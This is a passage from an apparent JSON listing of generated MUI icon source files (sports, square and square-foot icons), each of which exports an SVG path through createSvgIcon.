    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19.52 2.49C17.18.15 12.9.62 9.97 3.55c-1.6 1.6-2.52 3.87-2.54 5.46-.02 1.58.26 3.89-1.35 5.5l-4.24 4.24 1.42 1.42 4.24-4.24c1.61-1.61 3.92-1.33 5.5-1.35s3.86-.94 5.46-2.54c2.92-2.93 3.4-7.21 1.06-9.55m-9.2 9.19c-1.53-1.53-1.05-4.61 1.06-6.72s5.18-2.59 6.72-1.06c1.53 1.53 1.05 4.61-1.06 6.72s-5.18 2.59-6.72 1.06M18 17c.53 0 1.04.21 1.41.59.78.78.78 2.05 0 2.83-.37.37-.88.58-1.41.58s-1.04-.21-1.41-.59c-.78-.78-.78-2.05 0-2.83.37-.37.88-.58 1.41-.58m0-2c-1.02 0-2.05.39-2.83 1.17-1.56 1.56-1.56 4.09 0 5.66.78.78 1.81 1.17 2.83 1.17s2.05-.39 2.83-1.17c1.56-1.56 1.56-4.09 0-5.66C20.05 15.39 19.02 15 18 15\"\n}), 'SportsTennisOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/SportsTennisRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19.52 2.49C17.18.15 12.9.62 9.97 3.55c-1.6 1.6-2.52 3.87-2.54 5.46-.02 1.58.26 3.89-1.35 5.5l-3.54 3.53c-.39.39-.39 1.02 0 1.42.39.39 1.02.39 1.42 0l3.53-3.54c1.61-1.61 3.92-1.33 5.5-1.35s3.86-.94 5.46-2.54c2.93-2.92 3.41-7.2 1.07-9.54m-9.2 9.19c-1.53-1.53-1.05-4.61 1.06-6.72s5.18-2.59 6.72-1.06c1.53 1.53 1.05 4.61-1.06 6.72s-5.18 2.59-6.72 1.06M18 17c.53 0 1.04.21 1.41.59.78.78.78 2.05 0 2.83-.37.37-.88.58-1.41.58s-1.04-.21-1.41-.59c-.78-.78-.78-2.05 0-2.83.37-.37.88-.58 1.41-.58m0-2c-1.02 0-2.05.39-2.83 1.17-1.56 1.56-1.56 4.09 0 5.66.78.78 1.81 1.17 2.83 1.17s2.05-.39 2.83-1.17c1.56-1.56 1.56-4.09 0-5.66C20.05 15.39 19.02 15 18 15\"\n}), 'SportsTennisRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/SportsTennisRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19.52 2.49C17.18.15 12.9.62 9.97 3.55c-1.6 1.6-2.52 3.87-2.54 5.46-.02 1.58.26 3.89-1.35 5.5l-3.54 3.53c-.39.39-.39 1.02 0 1.42.39.39 1.02.39 1.42 0l3.53-3.54c1.61-1.61 3.92-1.33 5.5-1.35s3.86-.94 5.46-2.54c2.93-2.92 3.41-7.2 1.07-9.54m-9.2 9.19c-1.53-1.53-1.05-4.61 1.06-6.72s5.18-2.59 6.72-1.06c1.53 1.53 1.05 4.61-1.06 6.72s-5.18 2.59-6.72 1.06M18 17c.53 0 1.04.21 1.41.59.78.78.78 2.05 0 2.83-.37.37-.88.58-1.41.58s-1.04-.21-1.41-.59c-.78-.78-.78-2.05 0-2.83.37-.37.88-.58 1.41-.58m0-2c-1.02 0-2.05.39-2.83 1.17-1.56 1.56-1.56 4.09 0 5.66.78.78 1.81 1.17 2.83 1.17s2.05-.39 2.83-1.17c1.56-1.56 1.56-4.09 0-5.66C20.05 15.39 19.02 15 18 15\"\n}), 'SportsTennisRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/SportsTennisSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19.52 2.49C17.18.15 12.9.62 9.97 3.55c-1.6 1.6-2.52 3.87-2.54 5.46-.02 1.58.26 3.89-1.35 5.5l-4.24 4.24 1.42 1.42 4.24-4.24c1.61-1.61 3.92-1.33 5.5-1.35s3.86-.94 5.46-2.54c2.92-2.93 3.4-7.21 1.06-9.55m-9.2 9.19c-1.53-1.53-1.05-4.61 1.06-6.72s5.18-2.59 6.72-1.06c1.53 1.53 1.05 4.61-1.06 6.72s-5.18 2.59-6.72 1.06M18 17c.53 0 1.04.21 1.41.59.78.78.78 2.05 0 2.83-.37.37-.88.58-1.41.58s-1.04-.21-1.41-.59c-.78-.78-.78-2.05 0-2.83.37-.37.88-.58 1.41-.58m0-2c-1.02 0-2.05.39-2.83 1.17-1.56 1.56-1.56 4.09 0 5.66.78.78 1.81 1.17 2.83 1.17s2.05-.39 2.83-1.17c1.56-1.56 1.56-4.09 0-5.66C20.05 15.39 19.02 15 18 15\"\n}), 'SportsTennisSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/SportsTennisSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19.52 2.49C17.18.15 12.9.62 9.97 3.55c-1.6 1.6-2.52 3.87-2.54 5.46-.02 1.58.26 3.89-1.35 5.5l-4.24 4.24 1.42 1.42 4.24-4.24c1.61-1.61 3.92-1.33 5.5-1.35s3.86-.94 5.46-2.54c2.92-2.93 3.4-7.21 1.06-9.55m-9.2 9.19c-1.53-1.53-1.05-4.61 1.06-6.72s5.18-2.59 6.72-1.06c1.53 1.53 1.05 4.61-1.06 6.72s-5.18 2.59-6.72 1.06M18 17c.53 0 1.04.21 1.41.59.78.78.78 2.05 0 2.83-.37.37-.88.58-1.41.58s-1.04-.21-1.41-.59c-.78-.78-.78-2.05 0-2.83.37-.37.88-.58 1.41-.58m0-2c-1.02 0-2.05.39-2.83 1.17-1.56 1.56-1.56 4.09 0 5.66.78.78 1.81 1.17 2.83 1.17s2.05-.39 2.83-1.17c1.56-1.56 1.56-4.09 0-5.66C20.05 15.39 19.02 15 18 15\"\n}), 'SportsTennisSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/SportsTennisTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19.52 2.49C17.18.15 12.9.62 9.97 3.55c-1.6 1.6-2.52 3.87-2.54 5.46-.02 1.58.26 3.89-1.35 5.5l-4.24 4.24 1.42 1.42 4.24-4.24c1.61-1.61 3.92-1.33 5.5-1.35s3.86-.94 5.46-2.54c2.92-2.93 3.4-7.21 1.06-9.55m-9.2 9.19c-1.53-1.53-1.05-4.61 1.06-6.72s5.18-2.59 6.72-1.06c1.53 1.53 1.05 4.61-1.06 6.72s-5.18 2.59-6.72 1.06M18 17c.53 0 1.04.21 1.41.59.78.78.78 2.05 0 2.83-.37.37-.88.58-1.41.58s-1.04-.21-1.41-.59c-.78-.78-.78-2.05 0-2.83.37-.37.88-.58 1.41-.58m0-2c-1.02 0-2.05.39-2.83 1.17-1.56 1.56-1.56 4.09 0 5.66.78.78 1.81 1.17 2.83 1.17s2.05-.39 2.83-1.17c1.56-1.56 1.56-4.09 0-5.66C20.05 15.39 19.02 15 18 15\"\n}), 'SportsTennisTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/SportsTennisTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19.52 2.49C17.18.15 12.9.62 9.97 3.55c-1.6 1.6-2.52 3.87-2.54 5.46-.02 1.58.26 3.89-1.35 5.5l-4.24 4.24 1.42 1.42 4.24-4.24c1.61-1.61 3.92-1.33 5.5-1.35s3.86-.94 5.46-2.54c2.92-2.93 3.4-7.21 1.06-9.55m-9.2 9.19c-1.53-1.53-1.05-4.61 1.06-6.72s5.18-2.59 6.72-1.06c1.53 1.53 1.05 4.61-1.06 6.72s-5.18 2.59-6.72 1.06M18 17c.53 0 1.04.21 1.41.59.78.78.78 2.05 0 2.83-.37.37-.88.58-1.41.58s-1.04-.21-1.41-.59c-.78-.78-.78-2.05 0-2.83.37-.37.88-.58 1.41-.58m0-2c-1.02 0-2.05.39-2.83 1.17-1.56 1.56-1.56 4.09 0 5.66.78.78 1.81 1.17 2.83 1.17s2.05-.39 2.83-1.17c1.56-1.56 1.56-4.09 0-5.66C20.05 15.39 19.02 15 18 15\"\n}), 'SportsTennisTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/SportsTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M11.23 6c-1.66 0-3.22.66-4.36 1.73C6.54 6.73 5.61 6 4.5 6 3.12 6 2 7.12 2 8.5S3.12 11 4.5 11c.21 0 .41-.03.61-.08-.05.25-.09.51-.1.78-.18 3.68 2.95 6.68 6.68 6.27 2.55-.28 4.68-2.26 5.19-4.77.15-.71.15-1.4.06-2.06-.09-.6.38-1.13.99-1.13H22V6zM4.5 9c-.28 0-.5-.22-.5-.5s.22-.5.5-.5.5.22.5.5-.22.5-.5.5m6.5 6c-1.66 0-3-1.34-3-3s1.34-3 3-3 3 1.34 3 3-1.34 3-3 3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"11\",\n  cy: \"12\",\n  r: \"2\"\n}, \"1\")], 'SportsTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/SportsTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M11.23 6c-1.66 0-3.22.66-4.36 1.73C6.54 6.73 5.61 6 4.5 6 3.12 6 2 7.12 2 8.5S3.12 11 4.5 11c.21 0 .41-.03.61-.08-.05.25-.09.51-.1.78-.18 3.68 2.95 6.68 6.68 6.27 2.55-.28 4.68-2.26 5.19-4.77.15-.71.15-1.4.06-2.06-.09-.6.38-1.13.99-1.13H22V6zM4.5 9c-.28 0-.5-.22-.5-.5s.22-.5.5-.5.5.22.5.5-.22.5-.5.5m6.5 6c-1.66 0-3-1.34-3-3s1.34-3 3-3 3 1.34 3 3-1.34 3-3 3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"11\",\n  cy: \"12\",\n  r: \"2\"\n}, \"1\")], 'SportsTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/SportsVolleyball.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M6 4.01C3.58 5.84 2 8.73 2 12c0 1.46.32 2.85.89 4.11L6 14.31zm5 7.41V2.05c-1.06.11-2.07.38-3 .79v10.32zm1 1.73-8.11 4.68c.61.84 1.34 1.59 2.18 2.2L15 14.89zm1-5.19v3.46l8.11 4.68c.42-.93.7-1.93.82-2.98zM8.07 21.2c1.21.51 2.53.8 3.93.8 3.34 0 6.29-1.65 8.11-4.16L17 16.04zm13.85-10.39c-.55-4.63-4.26-8.3-8.92-8.76v3.6z\"\n}), 'SportsVolleyball');"
  },
  {
    "path": "packages/mui-icons-material/lib/SportsVolleyball.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M6 4.01C3.58 5.84 2 8.73 2 12c0 1.46.32 2.85.89 4.11L6 14.31zm5 7.41V2.05c-1.06.11-2.07.38-3 .79v10.32zm1 1.73-8.11 4.68c.61.84 1.34 1.59 2.18 2.2L15 14.89zm1-5.19v3.46l8.11 4.68c.42-.93.7-1.93.82-2.98zM8.07 21.2c1.21.51 2.53.8 3.93.8 3.34 0 6.29-1.65 8.11-4.16L17 16.04zm13.85-10.39c-.55-4.63-4.26-8.3-8.92-8.76v3.6z\"\n}), 'SportsVolleyball');"
  },
  {
    "path": "packages/mui-icons-material/lib/SportsVolleyballOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m1 2.07c3.07.38 5.57 2.52 6.54 5.36L13 5.65zM8 5.08c1.18-.69 3.33-1.06 3-1.02v7.35l-3 1.73zM4.63 15.1c-.4-.96-.63-2-.63-3.1 0-2.02.76-3.86 2-5.27v7.58zm1.01 1.73L12 13.15l3 1.73-6.98 4.03c-.93-.53-1.74-1.23-2.38-2.08M12 20c-.54 0-1.07-.06-1.58-.16l6.58-3.8 1.36.78C16.9 18.75 14.6 20 12 20m1-8.58V7.96l7 4.05c0 1.1-.23 2.14-.63 3.09z\"\n}), 'SportsVolleyballOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/SportsVolleyballOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m1 2.07c3.07.38 5.57 2.52 6.54 5.36L13 5.65zM8 5.08c1.18-.69 3.33-1.06 3-1.02v7.35l-3 1.73zM4.63 15.1c-.4-.96-.63-2-.63-3.1 0-2.02.76-3.86 2-5.27v7.58zm1.01 1.73L12 13.15l3 1.73-6.98 4.03c-.93-.53-1.74-1.23-2.38-2.08M12 20c-.54 0-1.07-.06-1.58-.16l6.58-3.8 1.36.78C16.9 18.75 14.6 20 12 20m1-8.58V7.96l7 4.05c0 1.1-.23 2.14-.63 3.09z\"\n}), 'SportsVolleyballOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/SportsVolleyballRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M6 4.01C3.58 5.84 2 8.73 2 12c0 1.46.32 2.85.89 4.11L6 14.31zm5 7.41V2.05c-1.06.11-2.07.38-3 .79v10.32zm1 1.73-8.11 4.68c.61.84 1.34 1.59 2.18 2.2L15 14.89zm1-5.19v3.46l8.11 4.68c.42-.93.7-1.93.82-2.98zM8.07 21.2c1.21.51 2.53.8 3.93.8 3.34 0 6.29-1.65 8.11-4.16L17 16.04zm13.85-10.39c-.55-4.63-4.26-8.3-8.92-8.76v3.6z\"\n}), 'SportsVolleyballRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/SportsVolleyballRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M6 4.01C3.58 5.84 2 8.73 2 12c0 1.46.32 2.85.89 4.11L6 14.31zm5 7.41V2.05c-1.06.11-2.07.38-3 .79v10.32zm1 1.73-8.11 4.68c.61.84 1.34 1.59 2.18 2.2L15 14.89zm1-5.19v3.46l8.11 4.68c.42-.93.7-1.93.82-2.98zM8.07 21.2c1.21.51 2.53.8 3.93.8 3.34 0 6.29-1.65 8.11-4.16L17 16.04zm13.85-10.39c-.55-4.63-4.26-8.3-8.92-8.76v3.6z\"\n}), 'SportsVolleyballRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/SportsVolleyballSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M6 4.01C3.58 5.84 2 8.73 2 12c0 1.46.32 2.85.89 4.11L6 14.31zm5 7.41V2.05c-1.06.11-2.07.38-3 .79v10.32zm1 1.73-8.11 4.68c.61.84 1.34 1.59 2.18 2.2L15 14.89zm1-5.19v3.46l8.11 4.68c.42-.93.7-1.93.82-2.98zM8.07 21.2c1.21.51 2.53.8 3.93.8 3.34 0 6.29-1.65 8.11-4.16L17 16.04zm13.85-10.39c-.55-4.63-4.26-8.3-8.92-8.76v3.6z\"\n}), 'SportsVolleyballSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/SportsVolleyballSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M6 4.01C3.58 5.84 2 8.73 2 12c0 1.46.32 2.85.89 4.11L6 14.31zm5 7.41V2.05c-1.06.11-2.07.38-3 .79v10.32zm1 1.73-8.11 4.68c.61.84 1.34 1.59 2.18 2.2L15 14.89zm1-5.19v3.46l8.11 4.68c.42-.93.7-1.93.82-2.98zM8.07 21.2c1.21.51 2.53.8 3.93.8 3.34 0 6.29-1.65 8.11-4.16L17 16.04zm13.85-10.39c-.55-4.63-4.26-8.3-8.92-8.76v3.6z\"\n}), 'SportsVolleyballSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/SportsVolleyballTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M6 6.73C4.76 8.14 4 9.98 4 12c0 1.1.23 2.14.63 3.1L6 14.31zm5-2.65c-.25.06-1.98.42-3 1.01v8.07l3-1.73zm2-.01v1.58l6.54 3.79c-.97-2.85-3.47-4.99-6.54-5.37m-1 9.08-6.36 3.67c.64.85 1.46 1.55 2.38 2.09L15 14.89zm1-5.19v3.46l6.37 3.68c.4-.95.63-1.99.63-3.09zm-2.58 11.88c.51.1 1.04.16 1.58.16 2.6 0 4.9-1.25 6.36-3.17L17 16.04z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m1 2.07c3.07.38 5.57 2.52 6.54 5.36L13 5.65zM8 5.08c1.02-.59 2.75-.95 3-1.01v7.35l-3 1.73zM4.63 15.1c-.4-.96-.63-2-.63-3.1 0-2.02.76-3.86 2-5.27v7.58zm1.01 1.73L12 13.15l3 1.73-6.98 4.03c-.93-.53-1.74-1.23-2.38-2.08M12 20c-.54 0-1.07-.06-1.58-.16l6.58-3.8 1.36.78C16.9 18.75 14.6 20 12 20m1-8.58V7.96l7 4.05c0 1.1-.23 2.14-.63 3.09z\"\n}, \"1\")], 'SportsVolleyballTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/SportsVolleyballTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M6 6.73C4.76 8.14 4 9.98 4 12c0 1.1.23 2.14.63 3.1L6 14.31zm5-2.65c-.25.06-1.98.42-3 1.01v8.07l3-1.73zm2-.01v1.58l6.54 3.79c-.97-2.85-3.47-4.99-6.54-5.37m-1 9.08-6.36 3.67c.64.85 1.46 1.55 2.38 2.09L15 14.89zm1-5.19v3.46l6.37 3.68c.4-.95.63-1.99.63-3.09zm-2.58 11.88c.51.1 1.04.16 1.58.16 2.6 0 4.9-1.25 6.36-3.17L17 16.04z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m1 2.07c3.07.38 5.57 2.52 6.54 5.36L13 5.65zM8 5.08c1.02-.59 2.75-.95 3-1.01v7.35l-3 1.73zM4.63 15.1c-.4-.96-.63-2-.63-3.1 0-2.02.76-3.86 2-5.27v7.58zm1.01 1.73L12 13.15l3 1.73-6.98 4.03c-.93-.53-1.74-1.23-2.38-2.08M12 20c-.54 0-1.07-.06-1.58-.16l6.58-3.8 1.36.78C16.9 18.75 14.6 20 12 20m1-8.58V7.96l7 4.05c0 1.1-.23 2.14-.63 3.09z\"\n}, \"1\")], 'SportsVolleyballTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Square.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3 3h18v18H3z\"\n}), 'Square');"
  },
  {
    "path": "packages/mui-icons-material/lib/Square.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M3 3h18v18H3z\"\n}), 'Square');"
  },
  {
    "path": "packages/mui-icons-material/lib/SquareFoot.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m17.66 17.66-1.06 1.06-.71-.71 1.06-1.06-1.94-1.94-1.06 1.06-.71-.71 1.06-1.06-1.94-1.94-1.06 1.06-.71-.71 1.06-1.06L9.7 9.7l-1.06 1.06-.71-.71 1.06-1.06-1.94-1.94-1.06 1.06-.71-.71 1.06-1.06L4 4v14c0 1.1.9 2 2 2h14zM7 17v-5.76L12.76 17z\"\n}), 'SquareFoot');"
  },
  {
    "path": "packages/mui-icons-material/lib/SquareFoot.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m17.66 17.66-1.06 1.06-.71-.71 1.06-1.06-1.94-1.94-1.06 1.06-.71-.71 1.06-1.06-1.94-1.94-1.06 1.06-.71-.71 1.06-1.06L9.7 9.7l-1.06 1.06-.71-.71 1.06-1.06-1.94-1.94-1.06 1.06-.71-.71 1.06-1.06L4 4v14c0 1.1.9 2 2 2h14zM7 17v-5.76L12.76 17z\"\n}), 'SquareFoot');"
  },
  {
    "path": "packages/mui-icons-material/lib/SquareFootOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m17.66 17.66-1.06 1.06-.71-.71 1.06-1.06-1.94-1.94-1.06 1.06-.71-.71 1.06-1.06-1.94-1.94-1.06 1.06-.71-.71 1.06-1.06L9.7 9.7l-1.06 1.06-.71-.71 1.06-1.06-1.94-1.94-1.06 1.06-.71-.71 1.06-1.06L4 4v14c0 1.1.9 2 2 2h14zM7 17v-5.76L12.76 17z\"\n}), 'SquareFootOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/SquareFootOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m17.66 17.66-1.06 1.06-.71-.71 1.06-1.06-1.94-1.94-1.06 1.06-.71-.71 1.06-1.06-1.94-1.94-1.06 1.06-.71-.71 1.06-1.06L9.7 9.7l-1.06 1.06-.71-.71 1.06-1.06-1.94-1.94-1.06 1.06-.71-.71 1.06-1.06L4 4v14c0 1.1.9 2 2 2h14zM7 17v-5.76L12.76 17z\"\n}), 'SquareFootOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/SquareFootRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m17.66 17.66-.71.71c-.2.2-.51.2-.71 0s-.2-.51 0-.71l.71-.71-1.94-1.94-.71.71c-.2.2-.51.2-.71 0s-.2-.51 0-.71l.71-.71-1.94-1.94-.71.71c-.2.2-.51.2-.71 0s-.2-.51 0-.71l.71-.71L9.7 9.7l-.71.71c-.2.2-.51.2-.71 0s-.2-.51 0-.71l.71-.71-1.94-1.94-.71.71c-.2.2-.51.2-.71 0s-.2-.51 0-.71l.71-.71-1.49-1.49c-.31-.31-.85-.09-.85.36V18c0 1.1.9 2 2 2h12.79c.45 0 .67-.54.35-.85zM7 16v-4.76L12.76 17H8c-.55 0-1-.45-1-1\"\n}), 'SquareFootRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/SquareFootRounded.mjs",
